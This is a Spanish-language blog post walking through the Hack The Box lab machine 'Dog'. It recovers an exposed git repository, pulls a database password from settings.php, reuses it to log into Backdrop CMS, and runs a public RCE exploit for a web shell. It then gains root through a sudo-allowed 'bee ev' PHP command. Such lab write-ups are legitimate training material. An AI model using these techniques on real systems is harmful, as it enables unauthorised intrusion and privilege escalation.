DEV Community

deadbeef
deadbeef

Posted on

Dog Hack the Box Writeup

Dog es una máquina de dificultad fácil de la Temporada 7 de Hack the Box, se explotan vulnerabilidades de CMS y de binarios con privilegio de sudo.

Dog Hack the Box

User.txt

Los puertos abiertos en la maquina son los siguientes:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Enter fullscreen mode Exit fullscreen mode

Al revisar las tecnologías utilizadas por el servidor web con la herramienta whatweb podemos observar el uso de Backdrop CMS.

└─$ whatweb http://10.10.11.58

http://10.10.11.58 [200 OK] Apache[2.4.41], Content-Language[en], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.58], UncommonHeaders[x-backdrop-cache,x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN]
Enter fullscreen mode Exit fullscreen mode

Además, utilizando dirsearch para fuzzear directorios podemos observar que existe un repositorio de git dentro del servidor

dirsearch -u http://10.10.11.58 -x 404,500
Enter fullscreen mode Exit fullscreen mode

fuzz 10.10.11.58

Ahora utilizando la herramienta GitHack disponible en este link https://github.com/lijiejie/GitHack recuperamos los archivos del servidor web.

python3 GitHack.py http://10.10.11.58
cd 10.10.11.58
Enter fullscreen mode Exit fullscreen mode

En el archivo settings.php encontraremos la contraseña de la base de datos de backdrop.

└─$ cat settings.php| head -n15

<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackDropJ20{redacted}@127.0.0.1/backdrop';

Enter fullscreen mode Exit fullscreen mode

Ahora en la página web podemos observar el correo support@dog.htb

Dog Hack the box

Si intentamos ingresar con las credenciales support@dog:BackDropJ20{redacted} al CMS nos menciona que el usuario no es válido, es por ello que regresando a nuestro directorio grepeamos en busca de un correo.

Dog Hack the box

Ahora si con las credenciales tiffany@dog.htb:BackDropJ20{redacted} nos podemos autenticar en el CMS y podemos observar la versión del mismo.

Dog Hack the box

Utilizaremos el exploit disponible en internet para lograr RCE, este exploit esta disponible en el siguiente link https://www.exploit-db.com/exploits/52021

Dog Hack the box

python3 exploit.py http://10.10.11.58
Enter fullscreen mode Exit fullscreen mode

Sin embargo, el script nos crea un archivo .zip estos están deshabilitados en el servidor por lo que tomaremos la carpeta llamada shell creada por el script y la comprimiremos con tar.

tar -cvf shell.tar shell/
Enter fullscreen mode Exit fullscreen mode

Una vez hecho esto subiremos nuestro comprimido como se menciona en las instrucciones y podremos obtener una web shell, con la cual podemos identificar que usuarios tienen habilitada la bash.

Dog Hack the box

Realizamos la conexión a SSH con el usuario johncusack y la contraseña encontrada en un principio.

johncusack@dog:~$ cat user.txt 
33c1{redacted}
Enter fullscreen mode Exit fullscreen mode

Root.txt

Al realizar el listado de comandos que el usuario actual puede realizar como sudo obtenemos lo siguiente:

johncusack@dog:~$ sudo -l
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

Enter fullscreen mode Exit fullscreen mode

Después de investigar lo que que es bee podemos observar que es una herramienta que permite gestionar el servidor web desde el cli, además permite realizar ejecucion de comandos con php por lo que para obtener el root.txt utilizaremos los siguientes comandos.

cd /var/www/html/

sudo /usr/local/bin/bee ev "system('cat /root/root.txt')"
6bfd{redacted}

Enter fullscreen mode Exit fullscreen mode

Top comments (0)

Some comments may only be visible to logged-in visitors. Sign in to view all comments.